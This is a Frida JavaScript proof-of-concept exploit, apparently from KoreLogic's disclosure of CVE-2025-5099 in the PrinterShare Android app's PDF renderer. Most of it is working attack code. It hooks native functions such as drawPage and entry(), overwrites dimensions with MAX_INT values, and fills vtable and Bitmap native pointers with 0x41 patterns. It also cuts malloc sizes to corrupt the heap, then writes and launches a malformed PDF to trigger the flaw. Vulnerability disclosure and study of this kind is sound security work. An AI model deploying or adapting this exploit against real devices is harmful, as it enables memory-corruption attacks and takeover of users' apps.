/** * KL-001-2025-004 : Proof-of-Concept * CVE-2025-5099 * Author: Felix Segoviano of KoreLogic, Inc. * Terminal PrinterShare Exploit * Targeted exploitation of entry() vulnerability with confirmed PC control * Enhanced with detailed memory state logging */ /** The contents of this proof-of-concept are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy */ // Helper function to log memory only when it's being modified function logMemoryModification(address, size, description) { try { if (!address || address.isNull()) { return function() {}; } // Capture original content const originalContent = Memory.readByteArray(address, Math.min(size, 64)); // Return a function that will show before/after only if content changed return function() { try { const modifiedContent = Memory.readByteArray(address, Math.min(size, 64)); // Compare if content has changed let changed = false; if (originalContent && modifiedContent && originalContent.byteLength === modifiedContent.byteLength) { const origArray = new Uint8Array(originalContent); const modArray = new Uint8Array(modifiedContent); for (let i = 0; i < origArray.length; i++) { if (origArray[i] !== modArray[i]) { changed = true; break; } } } else { changed = true; } // Only show if changed if (changed) { console.log(`[!] MEMORY MODIFIED at ${address} (${description}):`); console.log("BEFORE:"); console.log(hexdump(originalContent, {header: false, ansi: false})); console.log("AFTER:"); console.log(hexdump(modifiedContent, {header: false, ansi: false})); } } catch (e) { console.log(`[-] Error in memory comparison: ${e}`); } }; } catch (e) { console.log(`[-] Error in logMemoryModification: ${e}`); return function() {}; } } // Function to dump register values function dumpRegisters() { try { // This only works if we're in a native context (like in a Stalker callback) const context = Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress) .join('\n\t'); console.log("[!] REGISTERS at crash point:"); console.log(`PC: ${this.context.pc}`); console.log(`SP: ${this.context.sp}`); console.log(`LR: ${this.context.lr}`); // On ARM64 console.log("General Purpose Registers:"); for (let i = 0; i < 31; i++) { console.log(`x${i}: ${this.context[`x${i}`]}`); } console.log(`\nBacktrace:\n\t${context}`); } catch (e) { console.log(`[-] Error dumping registers: ${e}`); } } // Helper to log pointer value function logPointer(ptr, description) { try { if (ptr.equals(0)) { console.log(`[*] ${description}: NULL`); return null; } const value = Memory.readPointer(ptr); console.log(`[*] ${description}: ${ptr} -> ${value}`); return value; } catch (e) { console.log(`[-] Error reading pointer ${description}: ${e}`); return null; } } Java.perform(function() { console.log("[!] Terminal exploitation initialized"); // Hook critical native function immediately hookEntryFunction(); // Create heavily malformed PDF and launch it setTimeout(initiateExploit, 500); }); function hookEntryFunction() { try { // Find and hook the vulnerable library as early as possible var libraryCheckInterval = setInterval(function() { try { var pdfLib = Process.findModuleByName("libpdfrender.so"); if (pdfLib) { console.log(`[+] Found libpdfrender.so at ${pdfLib.base}`); clearInterval(libraryCheckInterval); // Log just the important exported functions var criticalFunctions = [ "Java_com_dynamixsoftware_printershare_PDFrender_drawPage", "Java_com_dynamixsoftware_printershare_PDFrender_getPageCount", "Java_com_dynamixsoftware_printershare_PDFrender_getPageSize", "Java_com_dynamixsoftware_printershare_PDFrender_create", "Java_com_dynamixsoftware_printershare_PDFrender_destroy", "entry" ]; console.log("[*] Relevant function targets:"); pdfLib.enumerateExports().forEach(function(exp) { if (criticalFunctions.includes(exp.name)) { console.log(` - ${exp.name} at ${exp.address}`); } }); // Target the specific vulnerable function var targetFunction = pdfLib.findExportByName("Java_com_dynamixsoftware_printershare_PDFrender_drawPage"); if (targetFunction) { console.log(`[!] Found target function at ${targetFunction}`); Interceptor.attach(targetFunction, { onEnter: function(args) { console.log("[!] Target function called"); this.args = args; // Log original args console.log(`[*] Original pageNum: ${args[1]}`); if (args[2] !== null) { // dimensions try { // Log original dimensions before modification let originalDimensions = []; for (let i = 0; i < 4; i++) { let val = Memory.readInt(args[2].add(i*4)); originalDimensions.push(val); } console.log(`[*] Original dimensions: [${originalDimensions.join(', ')}]`); // Set extreme dimensions as buffer-overflow trigger Memory.writeInt(args[2].add(2*4), 0x7FFFFFFF); // width Memory.writeInt(args[2].add(3*4), 0x7FFFFFFF); // height // Log modified dimensions let modifiedDimensions = []; for (let i = 0; i < 4; i++) { let val = Memory.readInt(args[2].add(i*4)); modifiedDimensions.push(val); } console.log(`[!] Dimensions corrupted with MAX_INT values: [${modifiedDimensions.join(', ')}]`); } catch (e) { console.log(`[-] Error modifying dimensions: ${e}`); } } if (args[4] !== null) { // flags let originalFlags = parseInt(args[4]); let newFlags = 2065; // Force specific flags we know work args[4] = ptr(newFlags); console.log(`[*] Flags changed: ${originalFlags} -> ${newFlags}`); } }, onLeave: function(retval) { console.log(`[!] Target function returned: ${retval}`); // Try to access and corrupt vtable pointers in chunks try { if (this.args && this.args[0]) { var objPtr = this.args[0]; // Try to search for any memory region containing a valid pointer for (let offset = 0; offset < 0x100; offset += 8) { try { let val = Memory.readPointer(objPtr.add(offset)); if (val != 0) { // Log the potential pointer region before corruption console.log(`[*] Found potential pointer zone at offset ${offset}`); let logAfterMod = logMemoryModification(objPtr.add(offset), 128, "pointer chunk"); // Create "AAAAAAAA" pattern for 16 consecutive pointers (128 bytes) for (let i = 0; i < 16; i++) { try { Memory.writePointer(objPtr.add(offset + i*8), ptr(0x4141414141414141)); } catch (e) {} } console.log(`[!] Corrupted 128-byte memory chunk at offset ${offset} with "AAAAAAAA" pattern`); // Log memory after corruption logAfterMod(); break; // Only corrupt one chunk to avoid crash too early } } catch (e) {} } } } catch (e) { console.log(`[-] Post-function corruption error: ${e}`); } } }); // Also specifically target entry function if found var entryFunc = pdfLib.findExportByName("entry"); if (entryFunc) { console.log(`[!] Found entry function at ${entryFunc}`); Interceptor.attach(entryFunc, { onEnter: function(args) { console.log(`[!] entry() called: base_addr=${args[0]}, flag=${args[1]}, option=${args[2]}`); // Store original values this.originalFlag = args[1]; this.originalOption = args[2]; // Set exploitable parameters args[1] = ptr(2); // flag = 2 args[2] = ptr(1); // option = 1 (non-zero) console.log(`[*] Modified parameters: flag=${this.originalFlag}->${args[1]}, option=${this.originalOption}->${args[2]}`); // Store base address for later this.baseAddr = args[0]; // Attempt to corrupt memory in chunks try { if (args[0] != 0) { // Read all important offsets first let importantOffsets = [0x38, 0x90, 0x98, 0xA0, 0xA8]; console.log("[*] Reading important memory offsets:"); for (let offset of importantOffsets) { try { let val = logPointer(args[0].add(offset), `base_addr+0x${offset.toString(16)}`); // If we have a valid pointer, corrupt memory chunk at this location if (val != 0) { // From renamed_shared0bject.c, we know key data is at 0x18 try { // Log memory before corruption let logAfterMod = logMemoryModification(val.add(0x18), 64, `memory at [base_addr+0x${offset.toString(16)}]+0x18`); // Corrupt 64-byte chunks with "AAAAAAAA" pattern for (let i = 0; i < 8; i++) { Memory.writePointer(val.add(0x18 + i*8), ptr(0x4141414141414141)); } console.log(`[!] Corrupted 64-byte memory chunk at ${val.add(0x18)}`); // Log memory after corruption logAfterMod(); } catch (e) { console.log(`[-] Error corrupting memory at offset 0x${offset.toString(16)}: ${e}`); } } } catch (e) { console.log(`[-] Error reading offset 0x${offset.toString(16)}: ${e}`); } } } } catch (e) { console.log(`[-] Error corrupting memory: ${e}`); } }, onLeave: function(retval) { console.log(`[!] entry() returned: ${retval}`); // Continue exploitation by manipulating more memory in chunks try { if (this.baseAddr != 0) { // Corrupt each important memory region let offsets = [0x90, 0x98, 0xa0, 0xa8]; for (let offset of offsets) { try { let ptrVal = logPointer(this.baseAddr.add(offset), `entry: base_addr+0x${offset.toString(16)}`); if (ptrVal != 0) { console.log(`[!] Corrupting memory chunk at offset 0x${offset.toString(16)}`); // Log memory before corruption let logAfterMod = logMemoryModification(ptrVal, 128, `memory at [base_addr+0x${offset.toString(16)}]`); // Corrupt 128-byte chunk for (let i = 0; i < 16; i++) { try { // First 8 pointers with "AAAAAAAA" pattern if (i < 8) { Memory.writePointer(ptrVal.add(i*8), ptr(0x4141414141414141)); } // Next 8 with decremented pattern to create chained addresses else { Memory.writePointer(ptrVal.add(i*8), ptr(0x4141414141414100 + i)); } } catch (e) { console.log(`[-] Error writing at offset ${i*8}: ${e}`); } } console.log(`[!] Wrote 128-byte chunk of "AAAAAAAA" patterns at ${ptrVal}`); // Log memory after corruption logAfterMod(); } } catch (e) { console.log(`[-] Error accessing offset 0x${offset.toString(16)}: ${e}`); } } } } catch (e) { console.log(`[-] Error in post-call corruption: ${e}`); } } }); } } // Hook malloc/free for additional exploitation hookMemoryFunctions(); } } catch (e) { console.log(`[-] Error in library check: ${e}`); } }, 200); } catch (e) { console.log(`[-] Error hooking entry: ${e}`); } } function hookMemoryFunctions() { try { var libc = Process.findModuleByName("libc.so"); if (libc) { var malloc = libc.findExportByName("malloc"); if (malloc) { Interceptor.attach(malloc, { onEnter: function(args) { this.size = args[0].toInt32(); // Target only large allocations if (this.size > 500000) { // More severe reduction to 60% of requested size var newSize = Math.floor(this.size * 0.6); args[0] = ptr(newSize); console.log(`[!] CORRUPTED malloc: ${this.size} -> ${newSize} (${Math.round((this.size-newSize)/this.size*100)}% reduction)`); this.modified = true; this.originalSize = this.size; this.size = newSize; } }, onLeave: function(retval) { if (this.modified && retval != 0) { console.log(`[*] malloc returned: ${retval} (requested: ${this.originalSize}, allocated: ${this.size})`); } } }); } // Also hook dlsym to catch function resolution var dlsym = libc.findExportByName("dlsym"); if (dlsym) { Interceptor.attach(dlsym, { onEnter: function(args) { if (args[1] != 0) { var funcName = Memory.readCString(args[1]); this.funcName = funcName; console.log(`[*] dlsym looking for: ${funcName}`); } }, onLeave: function(retval) { if (retval != 0 && this.funcName) { console.log(`[*] dlsym resolved ${this.funcName} to ${retval}`); // If it's a critical PDF function, consider corrupting it if (this.funcName.includes("PDF") || this.funcName.includes("render")) { console.log(`[!] Found critical function pointer: ${retval}`); // Register a callback when this critical function is called try { Interceptor.attach(retval, { onEnter: function(args) { if (args[0] != 0) { console.log(`[!] Called critical function: ${args[0]}`); // Corrupt potential vtable (first pointer in object) try { let potentialVtable = logPointer(args[0], "Potential vtable"); // Log memory before corruption let logAfterMod = logMemoryModification(args[0], 8, "vtable pointer"); // Overwrite with "AAAAAAAA" pattern Memory.writePointer(args[0], ptr(0x4141414141414141)); console.log(`[!] Overwrote potential vtable with "AAAAAAAA"`); // Log memory after corruption logAfterMod(); } catch (e) { console.log(`[-] Error corrupting vtable: ${e}`); } // Also try to corrupt 64-byte chunk starting at object try { // Log memory before corruption let logAfterMod = logMemoryModification(args[0], 64, "object memory"); for (let i = 0; i < 8; i++) { Memory.writePointer(args[0].add(i*8), ptr(0x4141414141414141)); } console.log(`[!] Corrupted 64-byte memory chunk starting at object`); // Log memory after corruption logAfterMod(); } catch (e) { console.log(`[-] Error corrupting object memory: ${e}`); } } } }); } catch (e) { console.log(`[-] Failed to hook resolved function: ${e}`); } } } } }); } } } catch (e) { console.log(`[-] Error hooking memory functions: ${e}`); } } function initiateExploit() { console.log("[!] Initiating terminal exploit sequence"); var currentApplication = Java.use('android.app.ActivityThread').currentApplication(); var context = currentApplication.getApplicationContext(); try { // Hook Bitmap creation before launching activity var Bitmap = Java.use("android.graphics.Bitmap"); Bitmap.createBitmap.overload('int', 'int', 'android.graphics.Bitmap$Config').implementation = function(width, height, config) { // Store original values const originalWidth = width; const originalHeight = height; const configName = config ? config.toString() : "null"; // Go extremely aggressive on bitmap sizes if (width > 100 || height > 100) { var newWidth = Math.min(width * 8, 0x7FFFFFFF); var newHeight = Math.min(height * 8, 0x7FFFFFFF); console.log(`[!] Extreme bitmap resize: ${width}x${height} -> ${newWidth}x${newHeight} (${configName})`); try { let result = this.createBitmap(newWidth, newHeight, config); console.log(`[*] Successfully created bitmap with extreme dimensions: ${newWidth}x${newHeight}`); return result; } catch (e) { // Still try with original values if this fails console.log(`[-] Failed with extreme dimensions, falling back to original: ${e}`); return this.createBitmap(width, height, config); } } let result = this.createBitmap(width, height, config); console.log(`[*] Created bitmap with dimensions: ${width}x${height}`); return result; }; // Hook PDF processing class for more attack surface var PDFrender = Java.use("com.dynamixsoftware.printershare.PDFrender"); // Hook key activity classes focused on the ones in the call path var targetClasses = [ "com.dynamixsoftware.printershare.ActivityPrintDocuments$g", "com.dynamixsoftware.printershare.ActivityPrintDocuments$h", "com.dynamixsoftware.printershare.ActivityPrintDocuments$j" ]; targetClasses.forEach(className => { try { var clazz = Java.use(className); // Target the most critical methods based on code review if (className.includes("$g") || className.includes("$h")) { if (clazz.run) { console.log(`[*] Hooking method: ${className}.run`); clazz.run.implementation = function() { console.log(`[!] Called ${className}.run`); return this.run(); }; } } if (clazz.a) { console.log(`[*] Hooking method: ${className}.a`); clazz.a.overload('android.graphics.Canvas', 'boolean').implementation = function(canvas, bool) { console.log(`[!] Called ${className}.a with canvas=${canvas}, bool=${bool}`); return this.a(canvas, bool); }; } } catch (e) { console.log(`[-] Error hooking ${className}: ${e}`); } }); // Ensure draw functions trigger our vulnerability if (PDFrender.drawPage) { PDFrender.drawPage.overload('int', '[I', '[F', 'int', 'android.graphics.Bitmap').implementation = function(pageNum, dimensions, matrix, flags, bitmap) { console.log(`[!] PDFrender.drawPage called, forcing corrupted parameters`); console.log(`[*] Original parameters: pageNum=${pageNum}, flags=${flags}, bitmap=${bitmap}`); // Log original dimensions if (dimensions && dimensions.length >= 4) { console.log(`[*] Original dimensions: [${dimensions[0]}, ${dimensions[1]}, ${dimensions[2]}, ${dimensions[3]}]`); // Force extreme dimensions to trigger buffer overflow const origWidth = dimensions[2]; const origHeight = dimensions[3]; // MAX_INT values dimensions[2] = 0x7FFFFFFF; dimensions[3] = 0x7FFFFFFF; console.log(`[*] Corrupted dimensions: width ${origWidth} -> ${dimensions[2]}, height ${origHeight} -> ${dimensions[3]}`); } // Force flags to trigger vulnerability path const originalFlags = flags; var exploitFlags = 2065; // Value confirmed working console.log(`[*] Corrupted flags: ${originalFlags} -> ${exploitFlags}`); // Try to corrupt Bitmap object in a chunk try { if (bitmap) { var bitmapClass = bitmap.getClass(); var fields = bitmapClass.getDeclaredFields(); console.log(`[*] Analyzing Bitmap object with ${fields.length} fields`); // Focus directly on the mNativePtr field we know works for (var i = 0; i < fields.length; i++) { fields[i].setAccessible(true); var name = fields[i].getName(); if (name === "mNativePtr") { console.log(`[!] Found critical Bitmap field: mNativePtr`); // Log original value const originalValue = fields[i].getLong(bitmap); console.log(`[*] Original mNativePtr value: 0x${originalValue.toString(16)}`); // Write recognizable "AAAAAAAA" pattern fields[i].setLong(bitmap, 0x4141414141414141); console.log(`[!!!] Corrupted mNativePtr: 0x${originalValue.toString(16)} -> 0x4141414141414141`); break; } } } else { console.log(`[*] Bitmap is null, cannot corrupt object`); } } catch (e) { console.log(`[-] Error corrupting Bitmap object: ${e}`); } // Call with corrupted values console.log(`[*] Calling native method with corrupted parameters`); return this.drawPage(pageNum, dimensions, matrix, exploitFlags, bitmap); }; } // Create extreme PDF file createExtremePDF(function(pdfPath) { // Launch activity with our extreme PDF console.log(`[!] Launching with payload at ${pdfPath}`); var Intent = Java.use('android.content.Intent'); var File = Java.use('java.io.File'); var Uri = Java.use('android.net.Uri'); var intent = Intent.$new(); intent.setClassName(context.getPackageName(), "com.dynamixsoftware.printershare.ActivityPrintDocuments"); var pdfFile = File.$new(pdfPath); var uri = Uri.fromFile(pdfFile); intent.setData(uri); intent.setAction("android.intent.action.VIEW"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value); context.startActivity(intent); // Once launched, keep manipulating live instances setTimeout(aggressiveInstanceManipulation, 1000); }); } catch (e) { console.log(`[-] Error in initiateExploit: ${e}`); } } function createExtremePDF(callback) { console.log("[!] Creating terminal exploit PDF"); var filePath = "/sdcard/Download/terminal_exploit.pdf"; try { var File = Java.use("java.io.File"); var file = File.$new(filePath); if (file.exists()) { console.log("[+] Using existing exploit PDF"); callback(filePath); return; } var FileOutputStream = Java.use("java.io.FileOutputStream"); var fos = FileOutputStream.$new(filePath); // PDF header fos.write(Java.array('byte', [0x25, 0x50, 0x44, 0x46, 0x2d, 0x31, 0x2e, 0x37, 0x0a])); // %PDF-1.7 // Enhanced malformed PDF with "AAAAAAAA" patterns at key offsets var PAYLOAD_SIZE = 131072; // 128KB // Create a large buffer of "AAAAAAAA" patterns var AAAA_CHUNK = "41414141414141414141414141414141".repeat(1024); // "A" in hex, repeated var maliciousPDF = "1 0 obj\n" + "<< /Type /Page /MediaBox [0 0 2147483647 2147483647] " + // MAX_INT dimensions "/Rotate 90 " + "/Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> >> >> " + "/Contents 4 0 R " + ">>\n" + "endobj\n" + // Corrupt catalog object "2 0 obj\n" + "<< /Type /Catalog /Pages 3 0 R /Outlines 999 0 R >>\n" + // Bad reference "endobj\n" + "3 0 obj\n" + "<< /Type /Pages /Kids [1 0 R] /Count 9999999 >>\n" + // Impossible count "endobj\n" + // Add chunk of "AAAAAAAA" values to be interpreted as function pointers "5 0 obj\n" + "<< /Type /XObject /Subtype /Form /FormType 1 " + "/BBox [0 0 1000 1000] " + "/Resources << /ProcSet [" + // Insert "AAAAAAAA" patterns that could be interpreted as function pointers AAAA_CHUNK.substring(0, 1024) + "] >> " + ">>\n" + "endobj\n" + // Extremely large content stream with more "AAAAAAAA" patterns "4 0 obj\n" + "<< /Length " + PAYLOAD_SIZE + " /Filter [/ASCIIHexDecode /LZWDecode] >>\n" + // Multiple filters "stream\n" + // Large chunks of "AAAAAAAA" patterns at different alignments AAAA_CHUNK.substring(0, 2048) + // Add remaining content "A".repeat(PAYLOAD_SIZE-2048) + "\n" + "endstream\n" + "endobj\n" + // Invalid xref table "xref\n" + "0 6\n" + "0000000000 65535 f\n" + "0000000010 00000 n\n" + "0000000200 00000 n\n" + "0000000250 00000 n\n" + "0000000310 00000 n\n" + "0000" + (500 + PAYLOAD_SIZE).toString() + " 00000 n\n" + "trailer\n" + "<< /Size 6 /Root 2 0 R /Prev 12345 >>\n" + // Invalid Prev "startxref\n" + "99999\n" + // Wrong offset "%%EOF"; // Write the malicious PDF content and log the file size const contentBytes = Java.array('byte', maliciousPDF.split('').map(function(c) { return c.charCodeAt(0); })); fos.write(contentBytes); fos.close(); console.log(`[+] Created terminal exploit PDF (${contentBytes.length} bytes)`); callback(filePath); } catch (e) { console.log(`[-] Error creating PDF: ${e}`); callback(filePath); } } function aggressiveInstanceManipulation() { console.log("[!] Manipulating live instances"); try { // Target bitmap processing - critical to exploitation Java.choose("android.graphics.Bitmap", { onMatch: function(instance) { try { // Get all fields through reflection var clazz = instance.getClass(); var fields = clazz.getDeclaredFields(); console.log(`[*] Found Bitmap instance with ${fields.length} fields`); // Force access to private fields for (var i = 0; i < fields.length; i++) { fields[i].setAccessible(true); var name = fields[i].getName(); // Log field name and original value let value = null; try { value = fields[i].get(instance); console.log(`[*] Bitmap field ${name}: ${value}`); } catch (e) { console.log(`[-] Error reading field ${name}: ${e}`); } // Set dimensions to extreme values if (name.includes("Width") || name.includes("width")) { var oldWidth = fields[i].getInt(instance); fields[i].setInt(instance, 0x7FFFFFFF); console.log(`[!] Bitmap width: ${oldWidth} -> MAX_INT (0x7FFFFFFF)`); } if (name.includes("Height") || name.includes("height")) { var oldHeight = fields[i].getInt(instance); fields[i].setInt(instance, 0x7FFFFFFF); console.log(`[!] Bitmap height: ${oldHeight} -> MAX_INT (0x7FFFFFFF)`); } // Focus on the known vulnerable field - mNativePtr if (name === "mNativePtr") { console.log(`[!] Found potential function pointer field: mNativePtr`); var oldValue = fields[i].getLong(instance); fields[i].setLong(instance, 0x4141414141414141); // "AAAAAAAA" console.log(`[!!!] Corrupted long field mNativePtr: 0x${oldValue.toString(16)} -> 0x4141414141414141`); } } } catch (e) { console.log(`[-] Error manipulating Bitmap instance: ${e}`); } return "continue"; // Process multiple bitmaps }, onComplete: function() { console.log("[*] Completed bitmap instance enumeration"); } }); // Force PDF processing to continue Java.choose("com.dynamixsoftware.printershare.ActivityPrintDocuments", { onMatch: function(instance) { console.log("[!] Found ActivityPrintDocuments - forcing PDF processing"); // Ensure PDF flag is set try { // Log the original flag value let originalPdfFlag = instance.f5110Q0.value; instance.f5110Q0.value = true; console.log(`[+] PDF flag forced: ${originalPdfFlag} -> true`); } catch (e) { console.log(`[-] Error modifying PDF flag: ${e}`); } // Try to trigger processing try { if (instance.E1) { console.log("[*] Calling E1() to trigger document processing"); instance.E1(); console.log("[+] Successfully triggered E1() processing"); } } catch (e) { console.log(`[-] Error triggering processing: ${e}`); } }, onComplete: function() { console.log("[*] Completed ActivityPrintDocuments instance enumeration"); } }); // Target the critical classes that directly handle rendering var targetClasses = [ "com.dynamixsoftware.printershare.PDFrender", "com.dynamixsoftware.printershare.ActivityPrintDocuments$g", "com.dynamixsoftware.printershare.ActivityPrintDocuments$h", "com.dynamixsoftware.printershare.ActivityPrintDocuments$j" ]; targetClasses.forEach(className => { Java.choose(className, { onMatch: function(instance) { console.log(`[!] Found instance of ${className}`); // If it's the PDFrender class, try to access any native methods if (className === "com.dynamixsoftware.printershare.PDFrender") { try { // List available methods var methods = instance.getClass().getDeclaredMethods(); console.log(`[*] ${className} has ${methods.length} methods`); // Look for specific methods related to rendering for (let m of methods) { let methodName = m.getName(); if (methodName.includes("draw") || methodName.includes("Page") || methodName.includes("create") || methodName.includes("destroy")) { console.log(`[*] Found critical method: ${methodName}`); } } } catch (e) { console.log(`[-] Error inspecting ${className} methods: ${e}`); } } }, onComplete: function() { console.log(`[*] Completed ${className} instance enumeration`); } }); }); } catch (e) { console.log(`[-] Error in instance manipulation: ${e}`); } }